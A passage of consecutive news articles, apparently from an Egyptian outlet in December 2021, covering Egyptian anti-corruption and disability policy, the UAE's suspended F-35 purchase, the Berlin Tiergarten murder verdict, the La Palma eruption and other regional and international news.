fraternity and solid cooperation that has extended for decades, expressing Cairo's keenness to further promote these ties. Search Keywords: Short link: Egypt has adopted several measures to combat illicit financial flows (IFFS) as part of the country's efforts to combat money laundering and the financing of terrorism, said Ahmed Khalil, head of the board of trustees of the Egyptian Unit for Combating Money Laundering and Terrorist Financing, which is affiliated with the Central Bank of Egypt. Khalil made the remarks on Wednesday at a discussion held on the sidelines of the 9th session of the Conference of States Parties (CoSP) to the United Nations Convention against Corruption (UNCAC), which is currently being held in the Egyptian Red Sea resort city of Sharm El-Sheikh. Khalil underlined the necessity of promoting cooperation among the international community, especially between countries whose funds have been stolen and the states that have received them, based on international agreements in this regard. Wednesday's session, titled The role of financial investigation units in combating illicit financial flows, saw calls from Arab, Egyptian, and international financial investigators for opening official and unofficial channels of cooperation between financial investigating departments and customs authorities. The officials reiterated the importance of boosting cooperation between anti-corruption departments to access tax information and enhance the mechanisms of sharing experience between concerned agencies. For her part, Undersecretary-General of the UN and Executive Director of the UN Office on Drugs and Crime (UNODC) Ghada Waly has emphasised the necessity of international cooperation to confront illicit financial flows, stressing that this issue is at the top of UN priorities. Waly highlighted the role of financial investigation units in countering illicit financial flows, most notably from corruption. Sharm El-Sheikh's event started on Monday and will close on Friday. The conference, which is held every two years, is one of the world's largest anti-corruption gatherings and brings together people from member states, parliaments, inter-governmental organisations, civil society and the private sector. The 2021 edition is being attended by 2,170 representatives from 144 countries, which is the highest number of attendances in the history of the convention. Search Keywords: Short link: AstraZeneca has signed a procurement agreement with the Egyptian Authority for Unified Procurement, Medical Supply, and Technology Management (UPA) for the recently authorized long-acting antibody (LAAB) combination, Evusheld, a statement by the company announced on Monday. AstraZenecas Evusheld, which is a combination of two monoclonal antibodies, tixagevimab and cilgavimab, was granted the first emergency use authorization by the U.S. Food and Drug Administration (FDA) on 8 December. Evusheld is for the pre-exposure prevention of COVID-19 in certain adults and pediatric individuals aged 12 and above and weighing at least 40 kg, according to the FDA. The agreement makes Egypt the second country in the Middle East, and one of the first in the world to acquire Evusheld for immunocompromised patients, the company's statement added. "Today's [Monday] signing highlights our unwavering commitment to delivering uninterrupted, innovative medical solutions to Egypt and the Middle East region We are proud to join the Egyptian Ministry of Health and Population in stepping up the fight against COVID-19 by supporting the unmet needs of vulnerable patient and ensuring all Egyptians can be protected from the virus," Dr. Hatem El-Werdany, CEO of AstraZeneca International in Egypt, said. The AstraZenecas statement said that the product is intended to protect vulnerable populations who may be unable to mount an adequate immune response following COVID-19 vaccination, and to help prevent progression to severe disease if individuals do become infected. According to the FDA, one dose of Evusheld, administered as two separate consecutive intramuscular injections in immediate succession, can provide protection for up to six months. While vaccines work by inducing healthy immune systems to generate the necessary antibodies, Evusheld depends on providing the body with lab-made antibodies that will protect it from infection. Pre-exposure prevention with Evusheld, however, is not a substitute for vaccination in individuals for whom COVID-19 vaccination is recommended, the FDA noted. The FDAs emergency use authorization of the Evusheld earlier in December comes after positive results from two phase 3 trials, where AstraZenecas drug was able to reduce the risk of symptomatic COVID-19 by 83% compared to placebo over six months in one of the trials. Evusheld is not the first AstraZeneca product Egypt has acquired, as the country has received tens of millions of AstaZeneca COVID-19 vaccine over the course of the last two years which contributed to providing the citizens with more than 45 million doses of different vaccines. Search Keywords: Short link: Classes at public and private schools as well as Al-Azhar institutes across Alexandria will be cancelled on Thursday due to an expected spell of unstable weather, a statement by the governorate said. Alexandria Governor Mohamed El-Sherif has said the decision was taken to preserve the safety of students and to better allow municipal authorities to deal with the fallout from the expected inclement weather. However, the decision does not apply to education staff in the governorate, who may have to attend if needed, the statement said. Egypt is expected to witness a wave of unstable weather conditions till Saturday, with rain expected in some areas in the country, Egypts Meteorological Authority said on Sunday. On Sunday, Egypts Prime Minister Mostafa Madbouly urged all governorates nationwide to maintain a state of maximum preparedness in anticipation of unstable weather and rainy season. Torrential rains turned deadly in Egypt several times over recent years during the rainy season in winter, causing buildings and facilities to collapse and citizens to be electrocuted while walking through flooded streets. Last year, Egyptian cabinet has delegated to the country's 27 governors the authority to suspend educational activities at schools in their governorates in anticipation of disruptive weather forecast by meteorologists. As Egypt mainly relies on the sewage network to drain rainwater rather than a separate rainwater drainage network, the government has, in recent years, begun the implementation of several national projects to modernise roads and the sewage system. Last year, the parliaments Housing Committee approved EGP 33 billion within the general budget for FY2020/21 for water and sanitation projects. This was deemed the largest budget to be allocated for the sector in the history of the country. Search Keywords: Short link: The United Arab Emirates threatened Tuesday to scrap its mega-purchase of US F-35 fighter jets, protesting stringent conditions amid Washington's concerns on China, but both sides said they hoped to resolve the dispute. President Joe Biden has pledged greater oversight over the state-of-the-art planes after the $23 billion arms package was pushed through by his predecessor Donald Trump in what was seen as a reward for the Gulf State's recognition of Israel. "The UAE has informed the US that it will suspend discussions to acquire the F-35," an Emirati official said. "Technical requirements, sovereign operational restrictions and cost/benefit analysis led to the re-assessment," the official said. The statement comes days after the UAE agreed to buy a record 80 Rafale warplanes from France for 14 billion euros ($15.8 billion) during a visit by President Emmanuel Macron, indicating the oil-rich Gulf state has alternatives. But the Emirati official said that the United States "remains the UAE's preferred provider" for advanced equipment and, despite the declared suspension of F-35 talks, an Emirati delegation is visiting Washington for talks this week. "We are hopeful that we can work through any outstanding issues," a State Department spokesperson said. Pentagon spokesman John Kirby said it was customary to discuss requirements before transferring technology. "These end-user requirements and protection of US defense equipment are universal, non-negotiable and not specific to the UAE," Kirby said. US officials have also been increasingly concerned by China's involvement with the US ally, including work at a port near the capital Abu Dhabi. The Wall Street Journal, which first reported the impasse, said that the United States was insisting on conditions to make sure the F-35s would not be vulnerable to Chinese espionage. Leading the bid a year ago to stop the sale, Senator Bob Menendez, chairman of the Senate Foreign Relations Committee, voiced alarm at Emirati discussions on military cooperation with both China and Russia. "Should we not have a definitive commitment from the UAE that that will not move forward?" he asked. The F-35s are prized for stealth capabilities and versatility with the capacity to gather intelligence, strike deep into enemy territory and engage in air duels. US ally Israel historically objected to Arab states obtaining the F-35s, seeking to maintain its regional edge, but gave its blessing after the UAE last year became the first new Arab country in decades to recognize the Jewish state. Israel and the UAE have found common cause on concerns about Iran, although a top Emirati official this month visited Iran, where officials voiced hope for smoother ties. Search Keywords: Short link: US and Palestinian officials gathered virtually on Tuesday to renew the US-Palestinian Economic Dialogue (USPED), a statement by the spokesperson for the US Department of State said. This the first time the USPED has convened in over five years after the Palestinian Authority cut ties with the US excluding intelligence coordination following Trump's relocation of the US embassy to Jerusalem. Related Israel envoy to brief US over ban on Palestinian rights groups During the opening remarks, US Assistant Secretary for Near Eastern Affairs Yael Lempert underscored the belief that the Palestinian people deserve to live in freedom, security, and prosperity. She noted that growing the Palestinian economy will also play a critical role in advancing our overarching political goal: a negotiated two-state solution, with a viable Palestinian state living side by side in peace and security with Israel. The senior-level dialogue brought together a wide range of agencies and ministries from the US government and the Palestinian Authority to discuss current and future areas of economic cooperation. The participants recognised the importance of restoring political and economic relations between the US government and the Palestinian Authority and pledged to expand and deepen cooperation and coordination across a range of sectors. During the meeting, senior US and Palestinian officials discussed key topics, including infrastructure development, access to US markets, US regulations, free trade, financial issues, renewable energy and environmental initiatives, connecting Palestinian and American businesses, and addressing obstacles to Palestinian economic development. The dialogue also included a discussion on international trade relations. The two sides agreed to work on several crucial issues to advance the economic prosperity of the Palestinian people. Furthermore, the US government outlined programmes that could support the Palestinian Authoritys efforts towards financial issues, trade, and promoting foreign direct investment. Search Keywords: Short link: Since 2012,this is the first time that an Algerian president visit Tunisia, Abdelaziz Boutefalik has never visited it. Algerian President Abdelmadjid Tebboune left for Tunisia Wednesday for a two-day State visit, at the invitation of his Tunisian counterpart, Kais Saied, APS reported. The visit is in line with the actions undertaken by both countries to "further boost the deep relationship of fraternity between the two brother peoples and expand the areas of cooperation," the Algerian presidency said Tuesday in a statement. The statement noted that Algeria and Tunisia want to raise bilateral cooperation to a "quality level that meets the common desire of the leaders and the peoples of the two countries." Search Keywords: Short link: Turkey on Wednesday named a former ambassador as a special envoy to work on the normalization of ties with arch-foe Armenia. Armenia and Turkey have never established formal diplomatic ties and their shared border has been closed since the 1990s. The two countries' relations are particularly tense over World War I-era mass killings of Armenians in the Ottoman Empire, which Yerevan says amount to genocide. There were further strains after Turkey supported Armenia's Caucasus neighbour Azerbaijan, which last year fought a war with Armenia for control of the disputed Nagorno-Karabakh region. "With the authorization of the president, our former Washington ambassador Serdar Kilic will be officially appointed as special envoy," Turkish Foreign Minister Mevlut Cavusoglu said in televised comments. Kilic was also previously Ankara's envoy in Japan and Lebanon. Turkish and Armenian companies had applied for permission for charter flights between Istanbul and Yerevan, he added. The transport ministry will evaluate the applications and there would be more information in the coming days about which airlines could fly, Cavusoglu said. "God willing there will be a continuation of these (steps)," he told Turkish reporters. The minister was speaking during a visit to Abu Dhabi as ties between Turkey and the United Arab Emirates thaw following Abu Dhabi Crown Prince Sheikh Mohammed bin Zayed's trip to Ankara in November. Cavusoglu said there were plans for Turkish President Recep Tayyip Erdogan to visit the UAE on February 14-15. Search Keywords: Short link: The United Arab Emirates on Tuesday suspended talks on a $23 billion deal to purchase American-made F-35 planes, armed drones and other equipment, in a rare dispute between Washington and a key U.S. ally in the Persian Gulf. The Emirati Embassy in Washington said it would ``suspend discussions`` with the US., though meetings at the Pentagon this week between the two sides on other matters will be held as planned. ``The U.S. remains the UAE's preferred provider for advanced defense requirements and discussions for the F-35 may be re-opened in the future,'' the embassy said in a statement. The proposed sale of 50 F-35s to the UAE came at the end of former President Donald Trump's administration, emerging from a deal that saw the Emiratis formally recognize Israel. President Joe Biden's administration put the deal on hold after he took office, in part due to criticism of the UAE and Saudi Arabia over their yearslong war in Yemen, which has sparked one of the world's worst humanitarian crises and continues today. Also included in the deal are 18 advanced drone systems and a package of air-to-air and air-to-ground munitions. Emirati officials blame an American insistence on restrictions on how and where the F-35s could be used and say they are a violation of the UAE's sovereignty. Secretary of State Antony Blinken said the US. is prepared to move forward with the sales if the Emiratis decide to do so. ``We've wanted to make sure, for example, that our commitment to Israel's qualitative military edge is ensured, so we wanted to make sure that we could do a thorough review of any technologies that are sold or transferred to other partners in the region, including the UAE,'' he told reporters at a news conference in Kuala Lumpur with Malaysia's foreign minister on Wednesday. Pentagon spokesman John Kirby told reporters that US requirements on the use of American-made military equipment ``are universal, non-negotiable, and not specific to the UAE.'' ``The US partnership with the UAE is more strategic and more complex than any one weapon sale'' Kirby said. A person familiar with the matter said the US believes the Emiratis' move now is a negotiating tactic to try to move the process along. The person, who was not authorized to comment and spoke on the condition of anonymity, said the UAE letter notifying the US of the suspension was written by a relatively low-level official. The Wall Street Journal first disclosed the suspension of negotiations. The UAE has long worked with the US on counterterrorism and allowed the entry of people fleeing Afghanistan during the chaotic US withdrawal earlier this year. But tensions between Washington and Abu Dhabi have risen over the UAE's growing cooperation with China. Last week, a top Emirati diplomat acknowledged the UAE stopped construction on a Chinese facility at an Abu Dhabi port that America considered a military base. The Journal first revealed the presence of the alleged facility. ``We took these American concerns into consideration and we stopped the work on the facilities,'' the diplomat, Anwar Gargash, told a meeting of the the Arab Gulf States Institute in Washington. ``But our position remains the same, that these facilities were not really military facilities.'' He described the discussions between the UAE and the U.S. ``as quite frank.'' Search Keywords: Short link: Residents on the Spanish island of La Palma dared to hope Wednesday that a volcanic eruption is over after almost three months of unnerving daily explosions, earthquakes, rivers of molten rock and a huge ash plume containing toxic gases. The Cumbre Vieja volcano in the Canary Islands off northwest Africa fell silent on Monday evening, and scientists said its 36 hours or so of negligible activity might signal the beginning of the end of the eruption. Scientists won't rule out a resurgence of volcanic activity, which previously abated only to return with renewed force, but say it is unlikely. ``We cannot be 100% sure, as the volcano has been playing a few tricks over the last weeks,'' Valentin Troll, a geology expert with Sweden's Uppsala University and co-author of a geology study of the Canary Islands, told The Associated Press. ``But many parameters have now subsided, and I think the volcano is indeed in decline now,'' he said. The Canary Islands government said in a statement that ``volcanic activity has fallen to almost nothing.'' Some wisps of white smoke floated from the crater Wednesday morning. The eruption, which began Sept. 19, is the longest on record on La Palma and has been a milestone for islanders, many of whom live from farming and tourism. The volcanic Canary Islands are a popular European vacation destination due to their mild climate. No injuries or deaths have been directly linked to the eruption, and life has continued largely as normal on most of the island of around 80,000 residents. However, several thousand people were forced to abandon their homes, and a section of La Palma's southwestern side is severely damaged. For some locals, relief at the weakening eruption was tempered by frustration at government promises of help they say has failed to materialize. ``Being able to see the sun properly for the first time in nearly three months, sleeping at night without tremors, totally changes the picture,`` Francisco Javier Lopez, a 61-year-old resident of the village of Todoque, said. ``But the future remains bleak,'' he said. Lopez lost his home of the past 30 years during the first few days of the eruption and says he is living in an overpriced rented apartment in a nearby village. The future of his paragliding business, which employed him and his wife, also evaporated as lava buried the takeoff and landing strips at the top of the Cumbre Vieja mountain range. Lopez complained that despite pledges of free accommodation, subsidies and financial aid from national, regional and local officials, almost nothing has actually reached the hands of La Palma residents affected by the volcano. ``The volcano has taken away our houses, including our past and memories,'' he told The Associated Press. ``But politicians are taking away our future and our hope.'' Fiery molten rock flowing from Cumbre Vieja down toward the sea has destroyed around 3,000 buildings. The fields of thick, black hardened lava have entombed banana plantations, ruined irrigation systems and cut roads. The hardened lava covers around 1,200 hectares (about 3,000 acres), according to data collated by the Canary Islands volcanic emergency unit, PEVOLCAN. Where the molten rock has poured into the Atlantic Ocean, rocky deltas have formed over 48 hectares (120 acres), PEVOLCAN said. Search Keywords: Short link: US Secretary of State Antony Blinken on Wednesday cut short a trip to Southeast Asia after a member of his delegation contracted the coronavirus, a spokesman for the US state department said. The top US diplomat had been due to meet Thai officials in Bangkok on Thursday after visiting Indonesia and Malaysia, but this third and final leg of the three-country tour has been cancelled. "The secretary would be returning to Washington DC, out of the abundance of caution," the spokesman said Blinken told Thai foreign minister Don Pramudwinai. The individual tested positive for Covid in Malaysia, after arriving with Blinken from Indonesia. That person did not participate in any of Blinken's programme of activities in Kuala Lumpur, and no other member of his party had contracted the virus, the US embassy in Malaysia said in a statement. The state department spokesman told reporters travelling with Blinken that the decision to end the tour was taken to "mitigate the risk of the spread of Covid-19 and to prioritise the health and safety of the US traveling party and those they would otherwise be in contact with". The US embassy in Jakarta said on Twitter that all members of the party had tested negative in Indonesia. Blinken's plane will only make a short technical stopover in Thailand, with no official talks on the agenda. He will then return to the United States. Blinken's tour had been aimed at challenging an ever more assertive China and re-establishing US influence in Asia after the turbulence and unpredictability of the Donald Trump era. He began the trip in Jakarta where he met with Indonesian President Joko Widodo, before giving a joint news conference on Wednesday with Malaysian Foreign Minister Saifuddin Abdullah in Kuala Lumpur. Before arriving in Indonesia, Blinken participated in a G7 foreign ministers' meeting in Britain, which was dominated by tensions with Russia. He was originally due to make a stop in Hawaii on the way back to the United States. Search Keywords: Short link: Germany's foreign minister said Wednesday that her country is expelling two Russian diplomats after a court concluded that Moscow was behind the killing of a Chechen man in Berlin two years ago. Foreign Minister Annalena Baerbock called the state-ordered killing a ``grave breach of German law and the sovereignty of the Federal Republic of Germany.'' Russia's ambassador in Berlin has been summoned to discuss the court's finding, Baerbock said. The 2019 brazen daylight killing of Zelimkhan ``Tornike'' Khangoshvili, a 40-year-old Georgian citizen of Chechen ethnicity, sparked outrage in Berlin and previously prompted the German government to expel two Russian diplomats _ a move Russia swiftly reciprocated at the time. Judges at Berlin's regional court convicted 56-year-old Vadim Krasikov of the killing but said he had acted on the orders of Russian federal authorities, who provided him with a false identity, fake passport, and the resources to carry out the hit on Aug. 23, 2019. ``The central government of the Russian Federation was the author of this crime,'' presiding judge Olaf Arnoldi said, labeling the killing ``state terrorism.'' Baerbock said she spoke Tuesday with her Russian counterpart, Sergey Lavrov, and made clear that Germany wants an ``open and honest exchange with Russia,'' and that this should happen ``on the basis of international law and mutual respect.'' ``It is clear that acts such as the...murder weigh heavily on this relationship,'' she said. ``The German government will do everything necessary to ensure that security in our country and the respect for our laws is ensured.'' After Wednesday's verdict, Russia's ambassador in Berlin issued a statement rejecting allegations of Russian involvement in the killing. ``We consider the verdict an unobjective, politically motivated decision that seriously aggravates already complicated Russian-German relations,'' Ambassador Sergei Nechayev said. Nechayev called the verdict ``an unfriendly act that won't go unanswered.`` ``The absurd notion about Russia's involvement in the wrongdoing during the entire course of the trial was being methodically imposed on the public, was being weaved into the general anti-Russian background, but wasn't in the end proved with convincing evidence,'' he said. During an oral summary of the court's findings that lasted almost two hours, Arnoldi said he and four fellow judges had reviewed a wealth of evidence during the 14-month trial, including 47 witness testimonies and material provided by a dozen countries, along with ``very limited answers from the Russian Federation.'' The court found Krasikov guilty of murder Wednesday and sentenced him to life imprisonment. Defense lawyers had asked the court to acquit their client, who claimed a case of mistaken identity. The judges said Krasikov bore ``particularly grave responsibility'' for the slaying, meaning he won't be entitled to the automatic parole after 15 years that is customary in Germany. Tracing the biographies of Krasikov and Khangoshvili, Arnoldi said it was important to note the victim's involvement in fighting against Russian forces in Chechnya from 2001 onward. In 2004, Khangoshvili led a group of fighters who carried out an attack on a police station in Russia, and civilians were killed along with officers. ``There is no doubt that Khangoshvili bears responsibility for people's deaths,'' the judge said, adding later that Russian authorities had likely sought ``revenge and retribution'' for his actions. Asked about the case at a news conference in December 2019, Russian President Vladimir Putin described the victim as a ``terrorist and murderer.'' Khangoshvili's family, which under German law was allowed to take part in the trial as co-plaintiffs, accused Russia last week of trying to ``send a message'' to its political enemies by killing him. Khangoshvili survived an earlier assassination attempt in Georgia before moving to Ukraine and then to Berlin in 2016, where he applied for asylum, the judge said. German authorities denied Khangoshvili's asylum request, and an appeal was rejected in 2018 on the grounds that he didn't face political persecution in his home country. ``This later proved to be obviously wrong,'' Arnoldi said, adding there was no evidence that Khangoshvili was politically active in Germany or continued to pursue extremist ideas. The German judges said that overwhelming evidence reviewed over the course of dozens of hearings left no doubt that Krasikov had carried out the killing just a few hundred meters from the courthouse. Krasikov _ a twice-married father of three _ had no previous convictions, Arnoldi said, but official records showed he had been sought by Russian authorities over the killing of a businessman in Moscow in 2013. The case was dropped in 2015. The evidence reviewed by the court, including material unearthed by the investigative news site Bellingcat, showed that Krasikov had been employed by a Russian security agency and was likely asked to carry out the hit in 2019, Arnoldi said. A month before the killing, Russian authorities issued Krasikov with a fake passport under the alias Vadim Sokolov that he used to travel to Berlin, where he shot the victim repeatedly from behind with a silencer-fitted handgun near the Kleiner Tiergarten park. Witnesses saw the suspect throw a bike, a gun, and a wig in the Spree River near the scene and alerted police, who quickly arrested him before he could make off on an electric scooter parked in a doorway. The court concluded that the killing wouldn't have been possible without unidentified helpers in Berlin, that Moscow had a motive for targeting the victim, and that Russian law permits the killing of alleged terrorists, including abroad if authorized by the president. ``If a business card belonging to a member of the Russian federal government had been found at the scene of the crime, it couldn't have been more damning,'' Arnoldi said. The ruling, which can be appealed, could stoke new tensions between Germany and Russia at a time when the new government of Chancellor Olaf Scholz is trying to find its foreign policy footing with Moscow. A year after the killing, German-Russian relations suffered another blow when then-Chancellor Angela Merkel intervened to fly poisoned Russian opposition leader Alexei Navalny to Berlin for medical treatment. Navalny says he was poisoned by Russian agents, which Moscow denies. After returning to his home country, Navalny was sentenced to 2 1/2 years in prison for violating the terms of his probation while convalescing in Germany. Baerbock, who became Germany's foreign minister a week ago, has called for a tougher stance toward Russia, especially over its military buildup near Ukraine. But Scholz has called for ``Ostpolitik'' _ or policy toward the east _ of the kind that his Social Democratic predecessor as chancellor, Willy Brandt, pursued during the Cold War. Search Keywords: Short link: Egypt last week celebrated the International Day of Persons with Disabilities, an opportunity to remind society of the abilities and needs of the differently-abled, now 11 million in the country, according to General Supervisor of the Egyptian National Council for Persons with Disabilities (NCPD) Ashraf Marai. On the occasion, Egypts President Abdel-Fattah Al-Sisi announced a package of executive measures targeting the welfare of people with special needs, including drafting legislation that would allow donations to the Differently-Abled Fund, in addition to directing the government to include Egyptians with special needs under the umbrella of the Decent Life national campaign. The welfare of people with special needs, according to Marai, would only be realised by enacting laws governing their rights such as Law 10/2018. This is in addition to making their inclusion in society easier by, for example, upgrading transportation for more accessibility. The Maadi district has revamped 28 sidewalks to make it friendlier for people using wheelchairs by building slopes and lowering pavements. We are looking forward to seeing such initiatives in all Egyptian governorates, according to Marai. The president did not only call for more specialised training for teachers working with children with special education needs, but he also directed preparing training programmes and workshops for Egyptians with special needs to help them qualify for job opportunities. The NCPD recently published a book specialised in the management of persons with special needs that we expect to be distributed and taught in all schools nationwide, Marai said. Also, the NCPD has held many workshops to train and teach sign language for teachers in certain departments of the Ministry of Education to enable them to deal with deaf students, according to Marai. Out of the belief of the importance of full inclusion of people with special needs in society and the labour market, the NCPD held several workshops for people with special needs, including one linked with the German Hans Seidel Foundation and other organisations to develop self-employment skills and teach how to manage small and medium-sized projects. Another important step on this path is the newly passed legislative amendment that toughens penalties against bullying people with special needs, which was proposed by MP Mohamed Mustafa Al-Sallab and approved by parliament in October. The new article states that those convicted of bullying a differently-abled person will be sentenced to one year in prison and fined from LE50,000 to LE100,000. According to Al-Sallab, if bullying is committed by one of the victims relatives, one of those responsible for his care or upbringing, or those who have authority over him, the penalty can be increased to up to two years in prison and the fine raised from between LE100,000 to LE200,000. If the action is repeated, the penalties can be doubled. Lately, I have noticed an increase in cases of bullying people with special needs. Several videos of this kind have been disseminated on social media networks, a matter that really requires urgent legislative intervention to stop this phenomenon, Al-Sallab told Al-Ahram Weekly. Although the tightening of penalties is important for the law to be more deterrent, no law can tackle on its own a phenomenon that often has societal reasons and aspects, Al-Sallab said, adding, its necessary to rely on other means such as awareness campaigns. Norhan Al-Sheikh, a writer with special needs, said she notices the initiatives aimed at making the life of people with special needs better but added this will be all useless if they are still discriminated against by society in day-to-day interactions. Our goal is not to put them in jail or to get compensation, but in fact we want respect and that the society itself treats us in an equal way. Al-Sheikh called on employers to give people with special needs work-from-home jobs to make use of their capabilities. She said obligating employers to include a certain percentage of their payroll to people with special needs should be enacted. I myself suffered a lot from this problem until I lost hope in being hired, Al-Sheikh told the Weekly. It is necessary to work on the awareness of society against the unacceptable actions which contradict laws, human principles, and all international charters on human rights ratified by Egypt, Al-Sallab said. Awareness is the responsibility of all the country, civil society, religious and educational institutions, and the media, MP Al-Sallab said. It is also necessary to raise awareness of the people with special needs themselves of their right to denounce this kind of inhumane action and defend their rights. *A version of this article appears in print in the 16 December, 2021 edition of Al-Ahram Weekly. Search Keywords: Short link: The importance of the internationalisation of education was a key takeaway from the Islamic World Educational, Scientific and Cultural Organisation (ISESCO). This week Cairo hosted the 14th session of the Islamic World Educational, Scientific and Cultural Organisation (ISESCO) which carried the title The Future in Action. The forum discussed the future of jobs, including the preparation of students and youths seeking employment, requirements for the local and international job market in light of the coronavirus, rapid changes in employment skills and job market demands. There were several activities, meetings, workshops, discussions, and lectures delivered by academic and professional experts as well as representatives from international organisations, businessmen and youth in the forum. The forum also included special pavilions for participants from public, private and international universities as well as technological companies specialised in education and scientific research, international organisations as well as funding bodies. President Abdel-Fattah Al-Sisi noted during the conference that the quality of education in developing countries does not equal that offered in developed countries. Therefore, he said, Egypt was keen on introducing joint programmes with international universities to keep pace with the newest developments in education. Six new technology universities will soon be accepting students, Minister of Higher Education and Scientific Research Khaled Abdel-Ghaffar pointed out during the conference. He said the number of Egyptian students studying abroad had decreased by more than a half, to 2,200, due to the high quality of universities that have opened in Egypt recently. He added that new research centres in petroleum and electronics will soon open as well. The government has allocated LE150 billion to improve the countrys public universities, the minister added. Meanwhile, director-general of (ISESCO) Salim Al-Malik called on the organisations member states to increase funds allocated to scientific research which currently do not exceed 0.5 per cent of the member of states GDP while developed countries dedicate around three per cent of their GDP to scientific research. According to Al-Malik, ISESCO member states need universities that would confidently compete with the most prestigious international universities. To accomplish this, he said universities must work freely and independently, achieve sustainability in funding sources, help students in current and future job markets as well as establish sustainable partnerships with economic, industrial, and technological institutions locally and internationally. Abdel-Ghaffar said that with a population of more than 100 million, Egypt needs at least 100 universities. At the moment, he said, there are 72 but more are being established. Last year, President Al-Sisi revealed during the inauguration of King Salman University in Sharm El-Sheikh that Egypt intends to have 125 universities by 2032. During the conference Minister of International Cooperation Rania Al-Mashat revealed the role of international cooperation and partnerships in developing the higher education and scientific research sector. Until September 2021, developmental funds for the higher education and scientific research sector of the ministrys current portfolio reached about $1 billion to implement 16 projects. Fifty-three per cent of these funds are non-refundable grants, explained Al-Mashat. According to Al-Mashat, several multilateral and bilateral developmental partners have contributed to the provision of these funds, including the US, the Saudi Fund for Development, Japan, China, Germany, South Korea, the African Development Bank, the Kuwait Development Fund, and the Arab Fund for Economic and Social Development. Al-Mashat noted that these partnerships are based on three main principles: comprehensiveness, which means merging youth and women within developmental efforts and to sustain their participation in the decision-making process; digitisation, since these partnerships work on localising digital transformation in the countrys efforts in this field; and the green transformation, as new strategies stimulate plans implemented by the government to shift towards a green economy and reduce harmful emissions, especially in light of Egypts preparations to host the UN Conference on Climate Change next year. *A version of this article appears in print in the 16 December, 2021 edition of Al-Ahram Weekly. Search Keywords: Short link: The Council of Europes warning to Turkey over human rights violations is part of complex calculations regarding the relations between Europe and Turkey. On 3 December, the Council of Europes Committee of Ministers notified Turkey that it would start infringement proceedings over the countrys failure to comply with the European Court of Human Rights (ECHR) order to free human rights activist Osman Kavala. In their next meeting on 2 February 2022, after a last consultation with the ECHR, the Committee may proceed with measures that could include suspending Turkeys voting rights or its membership of the Council of Europe. It has given Turkey up to 19 January 2022 to respond. Turkish President Recep Tayyip Erdogan responded more quickly than that in his idiosyncratic way to the Council of Europe warning. In our eyes, these [ECHR] rulings are null and void. We have explained it over and over again. They may understand it or not. We dont recognise European Union decisions over the ones handed down by our judiciary, he said. Turkish commentator Zulfikar Dogan writing in the Turkish newspaper Ahval pointed out how radically Erdogans comment deviates from a long tradition of Turkish political thinking, which committed to abide by the rulings of the ECHR when Turkey first started its accession talks with the EU. His position also deviates from Turkish law. Under Article 90 of the Turkish Constitution, ECHR rulings are binding on Turkey. The article states that international agreements ratified by Turkey have the force of law and that they cannot be challenged in the Constitutional Court on the grounds that they are unconstitutional. The article adds that should there be a conflict between the provisions of international agreements ratified by Turkey concerning fundamental rights and freedoms and the provisions of domestic laws, the provisions of international agreements shall prevail. While some commentators say Erdogan is merely being consistent with his general disdain for the rule of law, others believe his defiance of the Council of Europe is being staged for the forthcoming elections in Turkey. He might also be gambling on the possibility that the Council of Europe ministers are not as united in their resolve to sanction Ankara as they may appear. Some commentators have wondered how far Erdogan might take his brinksmanship. In other areas where he had earlier followed a more aggressive foreign policy, he is now being more cautious. A case in point is the Eastern Mediterranean, where Erdogan launched his so-called Mavi Vatan (Blue Homeland) doctrine, an irredentist project focused on reviving the maritime power of the former Ottoman Empire. But instead of provocatively sending warships into Greek and Cypriot territorial waters, Erdogan has been exercising uncharacteristic restraint, even if he gives his spokesmen leave to utter veiled threats. His eyes are on Washington, which last week approved the sale of four new Multi-Mission Surface Combatant (MMSC) warships made by Lockheed Martin to Greece at an estimated cost of $6.9 billion. The US has also agreed to upgrade the Greek Navys four German-built MEKO frigates, which will cost Athens $2.5 billion. The US state department explained that the sales were intended to help Greece to meet current and future threats by providing an effective combatant deterrent capability to protect maritime interests and infrastructure in support of its strategic location on NATOs southern flank. France has also been helping Greece upgrade its military capacities. On 28 September, French President Emmanuel Macron announced that Athens had made a deal with France to buy three heavily armed Belharra class frigates as part of a deeper strategic partnership between the two countries to defend their shared interests in the Mediterranean. Describing these developments as unproductive, Turkish Foreign Ministry Spokesman Tanju Bilgic said they will only strengthen our determination to protect our rights and the rights of the Republic of Northern Cyprus in the Aegean and Mediterranean. However, in fact Turkeys hands are tied in the face of a rush of regional developments and desperate economic straits at home. Turkish Defence Minister Hulusi Akar might claim that the balance of forces in the region will not change with a handful of used planes, referring to the 24 advanced Dassault Rafale fighter jets Greece also bought from France, but this omits mention of the huge problems in Turkeys efforts to upgrade its own airforce thanks to Erdogans insistence on purchasing the Russian S-400 missile system. These things spoke for themselves when Erdogan remained mute when Nicosia awarded a licence to Exxon Mobil and Qatar Petroleum to drill for oil and gas in Cypriot waters in the Eastern Mediterranean. Turkey claims that part of the field in question violates its continental shelf. While Erdogan may be upset that Turkeys good friend and brother Qatar is a partner in the licencing agreement, he cannot afford to alienate Doha at a time when his countrys economic straits are narrowing. While the Europeans have multiple concerns over the state of human rights and the rule of law in Turkey, they are also nervous about the question of immigration and refugees, especially after the recent trouble along the border with Belarus. In the opinion of many quarters in Europe, some regimes on Europes doorstep use refugees as a weapon in a covert war and as pawns on a geopolitical chessboard. Belarus has faced this charge, but the glare has also fallen on Turkey. In 2015, Ankara signed an agreement to shelter refugees from war-torn Syria and prevent them from entering Europe in exchange for a 3 billion euros package. Then, in February 2020, Erdogan threatened to let thousands of refugees pour into Europe in what was described as an act of political blackmail. Many predict that Erdogan will resort to this threat again if the Council of Europe contemplates suspending Turkeys membership. But the Committee of Ministers will be weighing other factors as well. Turkish-European relations are complex and are characterised by an array of shared concerns and interwoven interests. Analysts foresee behind-the-scenes pressures to keep the ministers from adopting punitive measures that could push Ankara to desperate measures. Many advise keeping their fingers crossed for the Turkish elections in June 2023 at the latest in the hope that these will usher in a post-Erdogan era in Turkey and a healthier climate all around. *A version of this article appears in print in the 16 December, 2021 edition of Al-Ahram Weekly. Search Keywords: Short link: KYODO NEWS - Dec 15, 2021 - 18:00 | All, Japan, Coronavirus Japan is considering distributing unused cloth masks, dubbed "Abenomasks," to local governments after a large amount procured by former Prime Minister Shinzo Abe's administration remained locked away accumulating storage costs, Chief Cabinet Secretary Hirokazu Matsuno said Wednesday. The storage of the massive amount of masks has sparked public criticism as a waste of taxpayers' money. The top government spokesman said at a press conference the masks can be sent to municipalities that wish to "stockpile them for use in disaster situations and distribute them to local residents." The masks can also be given to nursing facilities and individuals on demand, he added. Around 81.3 million such masks, which were widely criticized by the public for being too small and arriving late amid a shortage of masks in the initial phase of the coronavirus pandemic, were 